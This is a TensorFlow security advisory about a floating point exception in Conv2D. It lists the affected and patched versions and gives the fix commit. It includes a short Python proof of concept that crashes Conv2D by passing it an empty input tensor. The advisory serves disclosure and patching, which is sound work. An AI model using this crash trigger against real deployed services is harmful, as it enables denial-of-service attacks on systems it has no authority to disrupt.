GHSA-q5jv-m6qw-5g37 TensorFlow vulnerable to floating point exception in `Conv2D`

• PyPI tensorflow: < 2.7.2 → fixed in 2.7.2 • PyPI tensorflow: >= 2.8.0, < 2.8.1 → fixed in 2.8.1 • PyPI tensorflow: >= 2.9.0, < 2.9.1 → fixed in 2.9.1 • PyPI tensorflow-cpu: < 2.7.2 → fixed in 2.7.2 • PyPI tensorflow-cpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1 • PyPI tensorflow-cpu: >= 2.9.0, < 2.9.1 → fixed in 2.9.1 • PyPI tensorflow-gpu: < 2.7.2 → fixed in 2.7.2 • PyPI tensorflow-gpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1 • PyPI tensorflow-gpu: >= 2.9.0, < 2.9.1 → fixed in 2.9.1

Impact If `Conv2D` is given empty `input` and the `filter` and `padding` sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack. ```python import tensorflow as tf import numpy as np with tf.device("CPU"): # also can be triggerred on GPU input = np.ones([1, 0, 2, 1]) filter = np.ones([1, 1, 1, 1]) strides = ([1, 1, 1, 1]) padding = "EXPLICIT" explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0] data_format = "NHWC" res = tf.raw_ops.Conv2D( input=input, filter=filter, strides=strides, padding=padding, explicit_paddings=explicit_paddings, data_format=data_format, ) ``` Patches We have patched the issue in GitHub commit 611d80db29dd7b0cfb755772c69d60ae5bca05f9. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by Jingyi Shi.